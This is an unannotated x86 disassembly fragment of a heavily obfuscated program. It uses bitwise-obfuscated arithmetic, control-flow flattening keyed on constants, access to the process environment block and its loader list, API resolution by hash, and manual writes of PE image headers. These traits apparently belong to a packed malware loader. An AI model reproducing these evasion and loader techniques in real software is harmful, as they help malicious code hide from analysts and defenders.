xor edx, 0xffffe9bc
or edi, eax
xor esi, 0x1442
and esi, 0xffff9cce
or edx, esi
mov esi, edx
and edx, 0x3468
not esi
and esi, 0xffffcb97
or edx, esi
mov esi, ecx
xor ecx, 0xffffe1fe
not esi
and ecx, esi
and esi, 0xffffc09d
or esi, ebp
mov ebp, ebx
xor ebp, 0x1e01
and ebp, ebx
mov ebx, esi
xor esi, 0x2163
xor ebx, 0xffffc09d
and esi, ebx
mov eax, esi
and eax, ecx
xor ecx, esi
mov esi, edi
xor edi, 0xfffffbeb
xor esi, 0x1a15
or ecx, eax
and edi, esi
mov eax, edi
and eax, ebp
xor ebp, edi
or ebp, eax
mov eax, ecx
and ecx, 0xfffff69d
not eax
and eax, 0x962
or ecx, eax
mov eax, ebp
and ebp, 0xfffff69d
not eax
and eax, 0x962
or ebp, eax
mov eax, ebx
and eax, esi
xor esi, ebx
xor ebp, ecx
mov ebx, dword [esp + 0x14]
or esi, eax
mov ecx, ebp
and ebp, 0xffff90f1
mov eax, esi
and esi, 0x413
not ecx
not eax
and eax, 0xfffffbec
or esi, eax
mov eax, ecx
and eax, 0x6f0e
or ebp, eax
mov eax, esi
xor esi, 0xfffffbec
xor eax, 0x11
or ecx, esi
and esi, 0x6f0e
and eax, 0xffff90f1
not ecx
or eax, esi
mov esi, edx
xor edx, 0xffffc196
xor eax, ebp
xor esi, 0x3468
and edx, 0xffffe1be
mov ebp, dword [esp + 0x10]
mov edi, esi
or ecx, eax
mov eax, ebx
xor edi, ebx
not eax
and ebx, 0xffffe1be
and eax, 0x1e41
and edi, esi
and esi, 0x1e41
or esi, edx
or eax, ebx
mov edx, edi
mov ebx, dword [esp + 4]
xor eax, esi
and edx, eax
xor eax, edi
or eax, edx
mov esi, eax
mov edx, eax
or ebx, 0x55cb
xor esi, 0xffffffda
and edx, 0x3a34
and esi, eax
not eax
and eax, 0xffffc5cb
or edx, eax
mov eax, edx
xor edx, 0x3a11
xor eax, 0x3a34
and edx, eax
mov eax, ecx
xor eax, 0xffffffda
and eax, ecx
not ecx
and ecx, 0xffffffda
mov edi, ecx
and edi, eax
xor eax, ecx
mov ecx, edx
and ecx, esi
xor esi, edx
or eax, edi
mov edx, dword [esp + 8]
or esi, ecx
mov ecx, eax
not ecx
and ecx, esi
not esi
and esi, eax
mov eax, edx
and edx, 0x55cb
xor eax, 0xffffaa34
or esi, ecx
and eax, ebp
mov ecx, eax
and ecx, edx
xor edx, eax
mov eax, ebx
and ebx, 0x16f5
not eax
or edx, ecx
and eax, 0xffffa800
mov edi, edx
or eax, ebx
mov ebx, dword [esp]
mov edx, ebx
or edx, 0xffffaa34
mov ecx, edx
and edx, 0x16f5
not ecx
and ecx, 0x410a
or ecx, edx
mov edx, ebp
xor ecx, eax
mov eax, edi
and edi, 0xffffb3c9
not eax
and eax, 0x4c36
or edi, eax
mov eax, ecx
and ecx, 0xffffb3c9
not eax
and eax, 0x4c36
or ecx, eax
mov eax, ebp
xor ecx, edi
mov edi, ebx
and eax, ebx
xor edi, ebp
or edi, eax
mov eax, ecx
and ecx, 0x2618
mov edx, edi
not eax
mov ebx, edi
mov edi, eax
not edx
or eax, ebx
and ebx, 0xffffd9e7
and edx, 0x2618
and edi, 0xffffd9e7
not eax
or ecx, edi
or edx, ebx
xor edx, ecx
or eax, edx
mov ecx, eax
mov ebx, eax
not ecx
and ebx, 0x87f
mov edx, ecx
and ecx, 0xfffff780
and edx, eax
or ecx, ebx
mov edi, edx
and edx, 0xfffff780
not edi
or eax, edi
and edi, 0x87f
or edx, edi
not eax
mov edi, esi
xor edx, ecx
not edi
or eax, edx
mov ecx, eax
and eax, 0xffffee19
not ecx
mov edx, ecx
and edx, 0x11e6
or eax, edx
mov edx, esi
xor eax, 0xffffee19
xor edx, 0xffffb127
or eax, ecx
mov ecx, edx
and edx, esi
mov ebx, eax
mov esi, eax
and ecx, edi
or eax, 0xffffb127
not ebx
and esi, 0xffffbb9c
and ebx, 0x4463
or ebx, esi
mov esi, ecx
and esi, edx
xor edx, ecx
mov ecx, ebx
xor ebx, 0xabb
xor ecx, 0x4463
or edx, esi
and ebx, ecx
mov esi, ebx
and ebx, 0xffffeb52
not esi
mov ebp, esi
or esi, eax
and ebp, 0x14ad
not esi
or ebx, ebp
mov ebp, eax
and eax, 0x14ad
not ebp
and ebp, 0x4a50
or ebp, eax
mov eax, edx
and edx, 0x1254
not eax
xor ebp, ebx
and eax, 0xffffedab
or esi, ebp
or edx, eax
mov eax, esi
and esi, 0x1254
not eax
and eax, 0xffffedab
or esi, eax
mov eax, edi
and eax, ecx
xor ecx, edi
xor esi, edx
or ecx, eax
mov edx, esi
and esi, 0xffffcfdb
mov eax, ecx
and ecx, 0xffff85d6
not edx
not eax
mov edi, edx
and eax, 0x7a29
and edi, 0x3024
or ecx, eax
or esi, edi
mov eax, ecx
xor ecx, 0x7a29
xor eax, 0x85d2
or edx, ecx
and ecx, 0x3024
and eax, 0xffffcfdb
not edx
or eax, ecx
xor eax, esi
or edx, eax
mov esi, edx
mov ecx, edx
mov ebx, edx
and edx, 0xffffaed4
not esi
and ecx, 0xffffca32
mov eax, esi
or ebx, esi
and esi, 0x512b
and eax, 0x35cd
or edx, esi
or ecx, eax
mov esi, edx
and edx, 0x512b
mov eax, ecx
and ecx, 0x1e2b
not esi
not eax
and esi, 0xffffaed4
and eax, 0xffffe1d4
or edx, esi
or ecx, eax
mov esi, edx
mov eax, ecx
xor ecx, 0xffff9019
not esi
xor eax, 0x2b80
and ecx, 0xffff907f
and esi, 0x646e
and eax, 0x6f80
or eax, ecx
mov ecx, eax
xor eax, 5
xor ecx, 0x4f80
and eax, 0x2005
and ecx, 0xffffdffa
or ecx, eax
mov eax, ebx
mov edi, ecx
xor ecx, 0x2004
not eax
xor edi, 0xffffdffa
and ecx, 0xffffe85e
and eax, 0x17a1
mov ebp, edi
xor ebp, ebx
and ebx, 0xffffe85e
and ebp, edi
and edi, 0x17a1
or eax, ebx
or edi, ecx
mov ecx, ebp
xor eax, edi
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
and eax, 0xffff8e5a
not ecx
and ecx, 0x71a5
or eax, ecx
mov edi, eax
mov ecx, eax
xor eax, 0x15cb
xor edi, 0x71a5
xor ecx, 0xe1a
mov ebx, edi
and ecx, 0x6e3a
and edi, 0x646e
and ebx, 0xffff91c5
or eax, edi
or ecx, ebx
mov ebx, ecx
not ecx
and ebx, 0xfffff5ab
and ecx, 0xa54
or ecx, ebx
mov edi, ecx
and ecx, 0xffffcd46
not edi
mov ebx, edi
or edi, eax
and ebx, 0x32b9
not edi
or ecx, ebx
mov ebx, eax
and eax, 0x32b9
not ebx
and ebx, 0xffffcd46
or ebx, eax
xor ebx, ecx
or edi, ebx
mov eax, edi
and edi, 0xffff9cf0
not eax
and eax, 0x630f
or eax, edi
mov edi, edx
xor edi, 0xffff9b91
mov ecx, eax
xor eax, 0x630f
and edi, edx
and edx, 0xffff9b91
xor ecx, 0x1c30
or edx, esi
mov esi, edi
and edi, 0x5161
and ecx, 0x1f31
not esi
mov ebx, esi
and ebx, 0xffffae9e
or edi, ebx
mov ebx, edx
and edx, 0x5161
not ebx
or esi, ebx
and ebx, 0xffffae9e
or edx, ebx
not esi
xor edx, edi
or esi, edx
mov edx, esi
mov ebx, esi
not edx
and ebx, 0xffffdbe3
mov edi, edx
and edx, 0x241c
and edi, esi
or edx, ebx
mov ebx, edi
and edi, 0x241c
not ebx
or esi, ebx
and ebx, 0xffffdbe3
or edi, ebx
not esi
xor edi, edx
or esi, edi
mov edx, esi
and esi, 0xffffd77d
not edx
and edx, 0x2882
or esi, edx
mov edx, esi
xor esi, 0x2002
xor edx, 0xc569
and esi, 0x3216
and edx, 0xffffcde9
or edx, esi
mov ebx, edx
xor edx, 0x5e1
xor ebx, 0x1200
and edx, 0x25f7
and ebx, 0xffffda08
or ebx, edx
mov edi, ebx
xor ebx, 0x25f7
xor edi, 0xffffda08
mov edx, ebx
mov esi, edi
and edx, 0xffffe650
and edi, 0xfffff288
and esi, 0x19af
or esi, edx
mov edx, eax
xor esi, 0x19af
and edx, esi
xor esi, eax
or esi, edx
mov edx, eax
and edx, 0xffffe0ce
or ecx, edx
mov edx, esi
and esi, 0xffff92c2
xor ecx, 0xffffe0ce
not edx
or ecx, ebx
and ebx, 0xd77
or edi, ebx
mov ebx, ecx
xor edi, 0xd77
not ebx
or edi, eax
mov eax, ecx
and ebx, 0xffffe586
and eax, 0x1a79
or ecx, edi
or ebx, eax
mov eax, edi
and edi, 0x1a79
not ecx
not eax
and eax, 0xffffe586
or eax, edi
mov edi, edx
and edx, 0xffffcdb8
xor eax, ebx
and edi, 0x6d3d
or ecx, eax
or edi, esi
mov esi, ecx
mov ebx, ecx
mov eax, edi
xor edi, 0xffffa085
or ecx, 0x3241
not esi
and ebx, 0x44fd
xor eax, 0x6d3d
and ecx, 0xfffffff9
and esi, 0xffffbb02
and edi, eax
or ebx, esi
mov ebp, edi
mov esi, ebx
xor ebx, 0x3202
and ebp, edx
xor edx, edi
or ebx, 0xffffcdb8
or edx, ebp
xor esi, 0x44fd
mov edi, ebx
and ebx, 0x3241
not edi
and edi, 6
or edi, ebx
xor ecx, edi
mov edi, edx
not edi
and edi, ecx
not ecx
and ecx, edx
or ecx, edi
mov edi, eax
and edi, esi
xor esi, eax
or esi, edi
mov eax, esi
and esi, 0x3d7c
not eax
and eax, 0xffffc283
or esi, eax
mov eax, ecx
xor esi, 0x3d7c
and eax, esi
xor esi, ecx
mov ecx, 0xbf62816d
or esi, eax
mov eax, dword [esp + 0xc]
mov word [esp + eax*2 + 0x15c], si
mov eax, dword [esp + 0x158]
mov eax, dword [esp + 0x158]
mov eax, dword [esp + 0x158]
mov eax, dword [esp + 0x158]
mov eax, dword [esp + 0x158]
mov eax, dword [esp + 0x158]
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x703e6e85
jg 0x43e2de
cmp ecx, 0x6d46da5c
je 0x445b7c
cmp ecx, 0x6ea72274
jne 0x42f660
mov eax, dword fs:[0x30]
mov ecx, eax
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
sub eax, 8
mov edx, dword [esp + 0x80]
mov dword [ecx + 8], edx
mov dword [eax + 0x18], edx
add eax, 0x24
mov esi, eax
lea edi, [esp + 0x6c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x15c]
mov dword [ecx + 4], edx
mov dword [ecx], pe_nt_image_headers32
mov ecx, 0xeaf66483
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x75319bc
je 0x44c1e6
cmp ecx, 0x608e8c6
je 0x445b92
cmp ecx, 0xaed007a
jne 0x42f660
mov eax, dword [esp + 0x124]
mov ecx, 0x4b302318
mov dword [esp + 0x5c], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x895f1a7b
je 0x445bb4
cmp ecx, 0x8995836b
je 0x445c78
cmp ecx, 0x8cd17820
jne 0x42f660
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x144], eax
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0x144]
lea eax, [eax + ecx*4]
mov ecx, 0x2ed18faf
mov dword [esp + 0xdc], eax
mov eax, dword [esp + 0xdc]
cmp dword [eax], 0
mov eax, 0x18cdc09e
jmp 0x44b18f
cmp ecx, 0xc1fcd16
je 0x445cc4
cmp ecx, 0xfaba439
je 0x445d00
cmp ecx, 0x15e5c750
jne 0x42f660
movzx eax, byte [esp + 0x38]
mov byte [esp + 0x143], al
mov eax, dword [esp + 0xac]
push dword [esp + 0xbc]
call eax
mov dword [esp + 0xcc], eax
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0xb4]
mov ecx, dword [ecx]
add ecx, eax
mov dword [esp + 0xd0], ecx
mov ecx, dword [esp + 0xb0]
add eax, dword [ecx + 0x10]
mov dword [esp + 0xd4], eax
push 0xa7c20233
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
mov dword [esp + 0xd8], eax
mov ecx, 0x8cd17820
mov dword [esp + 0x4c], 0
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x3e03d04c
je 0x445d33
cmp ecx, 0x4b1d1fe4
je 0x445d50
cmp ecx, 0x4b302318
jne 0x42f660
mov eax, dword [esp + 0x5c]
mov ecx, 0x6ea72274
mov edx, 0x3d6bf475
mov dword [esp + 0x158], eax
mov eax, dword [esp + 0x158]
cmp eax, 0xf4
jmp 0x445d1f
cmp ecx, 0xe714e10e
je 0x445d95
cmp ecx, 0xe8e7eb58
je 0x445db0
cmp ecx, 0xe99cb5dc
jne 0x42f660
mov eax, dword [esp + 0x40]
mov byte [esp + 0x137], al
mov eax, dword [esp + 0x44]
mov dword [esp + 0x138], eax
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0x138]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov ecx, 0x895f1a7b
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
cmp dword [eax], 0
mov eax, 0xf0134e54
jmp 0x44b18f
cmp ecx, 0xb69b9c8e
je 0x445dd9
cmp ecx, 0xbf56f57c
jne 0x42f660
push 0x916d883f
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
push 0x1f4
call eax
push 0xf8f151be
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
push 0xffffffffffffffff
push dword [esp + 0x130]
call eax
push 0x4f3647b6
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
push dword [esp + 0x12c]
call eax
mov ecx, 0x75319bc
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x2c95c714
je 0x44775b
cmp ecx, 0x2cad2bd3
jne 0x42f660
mov eax, 0x32
cmp eax, 0x6d
jl 0x4397b3
cdq
cdq
mov ecx, 0x4b302318
mov dword [esp + 0x5c], 0
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x68afd826
je 0x447fb8
cmp ecx, 0x6d370ce3
jne 0x42f660
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x94]
add eax, dword [ecx + 0x10]
mov dword [esp + 0x108], eax
lea eax, [esp + 0x6c]
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x10c]
lea eax, [esp + 0x15c]
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0x110]
push 0xf4
push 0x48000c
push dword [esp + 0x118]
call fcn.00473e80
add esp, 0xc
mov cl, byte [esp + 0x137]
mov eax, ecx
mov edx, ecx
not al
and dl, 0x38
mov ah, al
mov ch, al
mov byte [esp], al
and ah, 0xc7
and ch, cl
or dl, ah
mov dh, ch
and ch, 0xee
mov ah, dl
xor dl, 0xc7
not dh
mov ebx, edx
xor ah, 0x28
or dl, dh
and dh, 0x11
and bl, 0x11
and ah, 0xee
or ch, dh
not dl
mov dh, al
or ah, bl
and dh, 0x8f
xor ch, ah
or dl, ch
mov ch, cl
and cl, 0xee
mov ah, dl
and dl, 0x8c
xor ch, 0x70
not ah
or ch, dh
and ah, 0x73
mov dh, ch
or dl, ah
not dh
mov ah, dl
xor dl, 0xfc
and ah, 0x70
or dl, ah
mov ah, dl
and dl, 0x5e
not ah
and ah, 0xa1
or dl, ah
mov ah, dl
xor dl, 0xa1
xor ah, 0x5e
and dl, dh
mov bl, ah
xor bl, ch
and ch, ah
and bl, ah
or ch, dl
mov ah, bl
mov dl, ch
and bl, 0x5d
and ch, 0x5d
not ah
not dl
mov dh, ah
or ah, dl
and dl, 0xa2
and dh, 0xa2
or ch, dl
not ah
or bl, dh
xor ch, bl
or ah, ch
mov dl, ah
and ah, 0x91
not dl
mov ch, dl
or dl, 0x34
and ch, 0x6e
and dl, 0x3c
or ah, ch
mov ch, ah
xor ah, 0x24
xor ch, 0x81
or ah, 8
and ah, 0x3c
and ch, 0xc3
or ch, ah
xor dl, ch
mov ah, dl
and dl, 0x78
not ah
and ah, 0x87
or dl, ah
mov ch, dl
mov ah, dl
xor ch, 0x53
and ah, 0x8b
and ch, dl
not dl
and dl, 0x74
mov dh, ch
and ch, 0x40
or ah, dl
not dh
mov dl, ah
and ah, 0x40
xor dl, 0x50
or dl, 0xac
mov ebx, edx
or dl, dh
and dh, 0xbf
and bl, 0xbf
or ch, dh
not dl
or ah, bl
xor ch, ah
or dl, ch
mov ah, dl
and dl, 0x53
not ah
and ah, 0xac
or dl, ah
mov dh, dl
mov ah, dl
xor dh, 0xe4
not ah
mov bl, dh
and dh, dl
and dl, 0x43
and bl, ah
mov bh, dh
and dh, 0xd1
mov ch, bl
not bh
and bl, 0xd1
not ch
mov al, ch
or ch, bh
and bh, 0x2e
and al, 0x2e
or dh, bh
not ch
or bl, al
xor dh, bl
or ch, dh
mov al, ch
not ch
and al, 0x9b
and ch, 0x64
or ch, al
mov al, ah
and ah, 0x7f
and al, 0xbc
or al, dl
xor al, 0x3c
or ah, al
mov al, ch
not ah
and al, ah
xor ah, ch
or ah, al
mov dl, ah
mov al, ah
xor dl, 0xcb
not al
and dl, ah
or ah, 0x34
and al, 0x42
mov ch, dl
mov dh, ah
and dl, 0x52
not ch
and dh, 0xad
or ah, ch
and ch, 0xad
or al, dh
or dl, ch
not ah
xor dl, al
or ah, dl
mov al, ah
and ah, 0xce
not al
and al, 0x31
or ah, al
mov dl, ah
xor ah, 0xfa
xor dl, 4
mov al, ah
and al, 0xeb
and dl, 0x14
or dl, al
mov al, byte [esp]
xor dl, 0x14
or dl, ah
mov ah, dl
and al, 0x11
not ah
or cl, al
and ah, 0x13
mov al, cl
and cl, 0x11
not al
and al, 0xee
or cl, al
mov al, cl
mov ch, cl
xor al, 0x80
not ch
and al, cl
and ch, 0x7f
and cl, 0x80
or cl, ch
mov ch, al
and ch, cl
xor cl, al
or cl, ch
mov al, cl
not al
mov ch, al
and al, cl
and cl, 0xd2
and ch, 0x2d
or cl, ch
xor cl, 0xd2
mov ch, cl
xor cl, al
and ch, al
or cl, ch
mov al, cl
and cl, 0x80
not al
and al, 0x7f
or cl, al
mov ch, cl
not cl
xor ch, 0x80
and cl, 0x22
and ch, 0xdd
or ch, cl
mov cl, dl
mov al, ch
and cl, 0xec
xor ch, 2
xor al, 0xdd
or ah, cl
and ch, 0x13
mov cl, al
and cl, 0xec
or ch, cl
xor ch, ah
mov ah, dl
xor ah, al
mov cl, ch
not ah
xor cl, dl
and ah, al
or al, dl
and cl, ch
not al
mov dl, ah
and dl, al
xor al, ah
or al, dl
mov edx, ecx
and cl, 0xa6
mov ah, al
not dl
and al, 0xa6
mov ch, dl
not ah
and dl, 0x59
or ch, ah
and ah, 0x59
or cl, dl
or al, ah
not ch
xor al, cl
mov cl, ch
and cl, al
xor al, ch
or al, cl
mov ecx, eax
mov ah, al
mov edx, eax
not cl
and ah, 0xa
xor dl, 0x8a
mov ch, cl
and dl, al
and al, 0x7f
and ch, 0x80
or ah, ch
or al, ch
mov dh, ah
xor ah, dl
not dl
not al
not dh
or al, cl
or dl, dh
not dl
or dl, ah
mov ah, al
not dl
not ah
or dl, 0x7f
and ah, 0x19
mov ecx, edx
and dl, 0xe6
or cl, al
and al, 0xe6
or ah, al
mov ch, cl
xor ah, dl
not ch
mov al, ah
and ah, 0xc9
or ch, 0x36
not al
or cl, al
and al, 0x36
or ah, al
not cl
xor ch, ah
or cl, ch
mov eax, ecx
mov edx, ecx
mov byte [esp], cl
not al
and dl, 5
mov ah, al
and ah, 0xd8
or dl, ah
mov ah, al
or ah, 0xdd
xor dl, 5
mov ch, ah
and ah, 0x20
or dl, 0x20
not ch
and ch, 2
or ch, ah
xor dl, ch
mov ah, dl
and dl, 0x27
not ah
and ah, 0xd8
or dl, ah
mov ah, dl
mov dh, dl
mov ch, dl
xor dl, 0xfb
xor ah, 0xfa
xor dh, 0xa8
xor ch, 4
and dh, ah
or ah, 0xad
and ch, 0xfe
mov bh, dh
mov bl, ah
mov cl, ah
and dh, 0xbe
or dl, ch
not bl
not bh
and cl, 0x41
or ah, bh
and bl, 0x12
and bh, 0x41
or dh, bh
or bl, cl
not ah
mov bh, al
xor dh, bl
and bh, 0x98
or ah, dh
mov cl, ah
and ah, 0xac
not cl
and cl, 0x53
or ah, cl
mov ecx, edx
and dl, 0xd6
not cl
mov ch, ah
and ah, 0xe3
and cl, 0x29
not ch
or dl, cl
mov dh, ch
mov cl, dl
xor dl, 0x29
and dh, 0x1c
xor cl, 0xc2
or ch, dl
and dl, 0x1c
or ah, dh
and cl, 0xe3
not ch
or cl, dl
xor cl, ah
or ch, cl
mov dl, ch
mov cl, ch
xor dl, 0x5b
and cl, 0x4a
and dl, ch
not ch
and ch, 0x11
or cl, ch
mov ch, byte [esp]
xor cl, 0x4a
mov ah, cl
and ah, dl
xor dl, cl
or dl, ah
mov cl, dl
and dl, 0x74
not cl
and cl, 0x8b
or dl, cl
mov cl, ch
xor cl, 0x9c
mov ah, dl
xor dl, 0xd0
and cl, ch
or ch, 0x63
xor ah, 0x2f
mov dh, cl
mov bl, ch
and cl, 0xd9
not dh
and bl, 0x26
or ch, dh
and dh, 0x26
or bh, bl
or cl, dh
not ch
mov dh, byte [esp]
xor cl, bh
or ch, cl
mov cl, ch
and ch, 0x9c
not cl
and dh, 1
and cl, 0x63
or ch, cl
mov cl, ch
and ch, 0x17
not cl
and cl, 0xe8
or ch, cl
mov cl, ch
xor ch, 0xe8
not cl
and ch, 0xfe
and cl, 1
or ch, cl
mov cl, ch
xor cl, 1
and cl, ch
mov ch, al
and ch, 0xfe
or dh, ch
mov ch, cl
and cl, 0xa0
xor al, dh
not ch
and al, dh
mov bl, ch
and ch, 0x5f
mov dh, al
and al, 0xa0
or cl, ch
mov ch, ah
and ah, 0x16
not dh
and ch, 0x56
or bl, dh
and dh, 0x5f
or al, dh
not bl
xor al, cl
mov cl, bl
and cl, al
xor al, bl
or al, cl
mov cl, dl
mov dh, al
and cl, 0xa9
mov bh, al
not dh
or ch, cl
mov cl, al
and bh, 6
and al, 0xe0
mov bl, dh
and cl, 0xa9
and dh, 0xf9
and bl, 0x56
or bh, dh
or bl, cl
mov cl, dl
mov dh, bh
xor bh, 0xe6
xor bl, ch
and cl, 9
xor dh, 6
mov ch, bl
or ah, cl
and bh, dh
xor ch, dl
or dl, 0x1f
mov cl, dl
and ch, bl
mov bl, ah
xor ah, 0x21
and dl, 0x23
xor bl, 0x14
not cl
and ah, 0x23
and bl, 0x1c
and cl, 0xc0
or cl, dl
mov dl, bh
or bl, ah
and dl, al
xor al, bh
xor cl, bl
or al, dl
mov edx, ecx
and cl, 0xa1
not dl
and dl, 0x5e
or cl, dl
mov edx, eax
and al, 0xa1
not dl
and dl, 0x5e
or al, dl
mov dl, ch
and ch, 0xbb
xor al, cl
not dl
mov ah, al
mov cl, dl
and dl, 0x44
and al, 0xbb
not ah
or ch, dl
or cl, ah
and ah, 0x44
or al, ah
mov dh, cl
mov ah, cl
xor al, ch
not dh
and ah, 0x26
mov dl, al
and dh, 0xd9
and al, 0xd9
not dl
or dh, ah
or cl, dl
and dl, 0x26
or al, dl
not cl
xor al, dh
or cl, al
mov eax, ecx
mov dh, cl
mov dl, cl
mov ah, cl
mov ch, cl
xor al, 0x3c
not dh
and ch, 0x2c
and dl, 0x4a
and ah, 0x95
and al, cl
mov cl, dh
mov bl, dh
and cl, 0x10
and bl, 0x6a
or ch, cl
or ah, bl
xor ch, 0x2c
mov cl, ch
and cl, al
xor al, ch
or al, cl
not al
mov ecx, eax
xor al, dh
and cl, dh
and dh, 0xb5
or dl, dh
or al, cl
mov ch, dl
not dl
mov cl, al
and al, 0xfa
xor ch, 0x4a
and dl, 0x14
not cl
and ch, 0xeb
and cl, 5
or ch, dl
or al, cl
mov dl, ch
xor ch, 0x10
mov cl, al
xor dl, 0xeb
xor cl, 0xfa
and dl, 0xfb
mov byte [esp], cl
or ch, dl
mov dl, ah
xor ah, 0x91
not dl
and dl, 4
or ah, dl
mov dl, ah
and ah, 0x1d
not dl
and dl, 0xe2
or ah, dl
mov dl, ah
xor ah, 0xe2
xor dl, 0x1d
and dl, ch
not ch
mov dh, ch
xor dh, ah
and ah, ch
and dh, ch
or ah, dl
mov dl, dh
and dl, ah
xor ah, dh
or ah, dl
mov dl, ah
xor dl, 0xfb
and dl, ah
or ah, 4
mov dh, dl
mov ch, ah
mov bl, ah
and dl, 0xfa
not ch
not dh
and bl, 5
or ah, dh
and ch, 0xfa
and dh, 5
or ch, bl
or dl, dh
not ah
xor dl, ch
or ah, dl
mov dl, ah
xor dl, 0xe1
and dl, ah
not ah
and ah, 0xe1
mov dh, dl
and dl, 0xe9
mov ch, ah
not dh
or ah, 0x16
not ch
or ch, dh
and dh, 0x16
or dl, dh
not ch
xor ah, dl
or ch, ah
mov dl, ch
and ch, 0xe1
not dl
and dl, 0x1e
or ch, dl
mov dl, ch
mov ah, ch
and ch, 0x4f
not dl
and ah, 0x37
and dl, 0xc8
or ah, dl
mov dl, ah
xor ah, 0x78
xor dl, 0x37
and ah, dl
mov dl, ah
and dl, ch
xor ch, ah
mov ah, al
xor al, 0x43
or ch, dl
xor ah, 5
and al, cl
mov dl, ch
and ch, 0xe
mov byte [esp + 8], ah
not dl
and dl, 0xf1
or ch, dl
mov dh, ch
and ch, 0x21
xor dh, 0x5c
and dh, 0xde
or dh, ch
mov dl, dh
xor dh, 0x1d
xor dl, 0xc2
and dl, 0xc3
or dh, dl
mov dl, dh
mov bh, dh
not dl
or bh, 0x53
mov ah, dl
mov ch, bh
and bh, 0xf2
and dl, 0xb6
or ah, 0xac
not ch
mov bl, ah
and ch, 0xc
and ah, 0xf2
not bl
or ch, bh
and bl, 1
or bl, ah
xor ch, bl
mov ebx, ecx
mov cl, byte [esp + 8]
mov ah, ch
and ch, 0x53
and bl, 0x30
not ah
and ah, 0xac
or ch, ah
mov ah, byte [esp + 8]
and cl, 0x60
mov byte [esp + 0xc], ch
and ah, 0x89
or bl, ah
xor bl, 0x30
mov ah, bl
and ah, al
xor al, bl
mov bl, ch
or al, ah
not bl
mov ah, al
and al, 0x2f
mov byte [esp + 4], bl
and bl, 0xb2
not ah
and ah, 0xd0
or al, ah
mov ah, al
xor ah, 0x96
mov bh, ah
mov byte [esp + 0x10], ah
mov ah, ch
and ah, 0x4d
and bh, 0xc
or ah, bl
mov bl, dh
and dh, 0x63
and bl, 0x49
or bl, dl
mov dl, al
mov al, byte [esp]
xor dl, 0x69
xor bl, 0xd5
mov byte [esp + 0x14], dl
and dl, 0xf3
or dh, bl
or bh, dl
mov ch, dh
and al, 0x9f
mov bl, bh
xor bh, 0x40
not ch
or al, cl
xor bl, 0xc
and bh, 0x44
mov byte [esp + 0x18], ch
and ch, 0xc8
mov cl, al
xor al, 0xfc
mov dl, bl
and bl, 0x9c
xor cl, 3
and dl, 0xbb
and cl, 0x63
or dl, bh
mov bh, dh
and dh, 0xd0
or al, cl
xor dl, 0xd8
and bh, 0x37
mov byte [esp], al
mov al, ah
or bl, dl
or ch, bh
xor al, 0xd1
mov dl, bl
and bl, 0x40
or al, byte [esp + 4]
not dl
and dl, 0xbf
or bl, dl
mov ah, al
mov cl, al
mov byte [esp + 8], al
xor ah, 0xc8
mov dl, ah
and dl, al
mov al, dl
and dl, 0x37
not al
mov bh, al
and bh, 0xc8
or dl, bh
mov bh, cl
not bh
and ah, bh
mov cl, ah
and ah, 0x37
not cl
or al, cl
and cl, 0xc8
or ah, cl
not al
xor ah, dl
mov dl, bl
xor bl, 0xbf
or al, ah
xor dl, 0x40
mov cl, al
and al, 0xbc
mov ah, dl
not cl
and cl, 0x43
or al, cl
mov cl, ch
and ch, 0xbc
not cl
and cl, 0x43
or ch, cl
mov cl, byte [esp + 8]
xor ch, al
mov al, bh
and al, 0x2f
and cl, 0xd0
or cl, al
mov al, byte [esp + 0x18]
or bh, al
and al, 0x2f
or dh, al
mov al, ch
not bh
and ch, 0x26
not al
xor dh, cl
mov cl, al
or bh, dh
mov dh, byte [esp + 0x14]
and cl, 0xd9
or al, bh
or ch, cl
mov cl, bh
and bh, 0xd9
not al
not cl
and cl, 0x26
or cl, bh
xor cl, ch
mov ch, byte [esp]
or al, cl
mov cl, ch
xor ah, ch
and ch, dl
not cl
and ah, dl
and bl, cl
mov cl, ah
and ah, 0x8f
not cl
or ch, bl
mov dl, cl
and dl, 0x70
or ah, dl
mov dl, ch
and ch, 0x8f
not dl
or cl, dl
and dl, 0x70
or ch, dl
not cl
xor ch, ah
or cl, ch
mov dl, cl
and cl, 0xd4
not dl
mov ch, dl
and dl, 0x2b
or cl, dl
or ch, al
not al
mov dl, ch
xor cl, 0x2b
not dl
or cl, al
mov al, ch
and al, 0x6d
and dl, 0x92
or ch, cl
or dl, al
mov eax, ecx
and cl, 0x6d
not ch
not al
and al, 0x92
or al, cl
xor al, dl
mov dl, byte [esp + 4]
or ch, al
mov cl, dl
and dl, 0xc4
mov ah, dl
mov dl, byte [esp + 0xc]
or cl, dh
and dh, 0xc4
mov al, cl
not al
and al, 0x63
and dl, 0x3b
or dl, ah
mov ah, byte [esp + 0x10]
and ah, 0x3b
or ah, dh
xor ah, dl
mov dl, ah
mov dh, ah
mov ah, cl
not dl
and ah, 0x9c
and dh, 0x63
or cl, dl
and dl, 0x9c
or al, ah
or dh, dl
not cl
mov dl, ch
xor dh, al
or cl, dh
mov eax, ecx
and cl, 0xee
not al
and al, 0x11
or cl, al
mov eax, ecx
